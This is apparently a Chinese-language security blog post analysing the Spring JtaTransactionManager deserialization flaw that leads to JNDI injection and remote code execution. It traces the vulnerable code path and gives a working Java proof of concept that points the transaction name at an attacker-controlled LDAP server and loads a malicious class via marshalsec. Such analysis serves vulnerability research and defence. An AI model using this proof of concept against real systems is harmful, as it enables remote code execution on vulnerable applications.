该漏洞存在于spring-tx.jar包的org.springframework.transaction.jta.JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,其重写了readObject方法,导致反序列化时该类时产生JNDI注入的问题从而RCE。但并不是spring最基本的包,默认不使用,所以并不是所有使用了spring框架的应用都受影响,需要具体检查是否包含了spring-tx.jar包
环境搭建
通过maven下载相应的jar包即可
pom.xml
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>3.1.0.RELEASE</version> </dependency>
<dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency>
|
漏洞分析
org.springframework.transaction.jta.JtaTransactionManager#readObject
org.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager
org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction
当前代码是IDEA反编译得来的,下载源码后,该方法介绍为
Look up the JTA UserTransaction in JNDI via the configured name.
继续跟进也会发现其实就是封装了JNDI的操作
org.springframework.jndi.JndiTemplate#lookup(java.lang.String)
org.springframework.jndi.JndiTemplate#createInitialContext
而lookup的参数userTransactionName也是可控的,那么漏洞就很显然了
漏洞复现
首先编译恶意类放于WEB服务中
借助marshalsec启动ldap服务并设置恶意类地址
最后模拟漏洞触发场景,构造恶意类并反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import org.springframework.transaction.jta.JtaTransactionManager; import java.io.*;
public class Test { public static void main(String[] args) throws Exception { JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("ldap://x.x.x.x:6666/xxx");
unserialize(serialize(jtaTransactionManager)); }
public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object unserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); }
}
|
参考
Spring framework deserialization RCE漏洞分析以及利用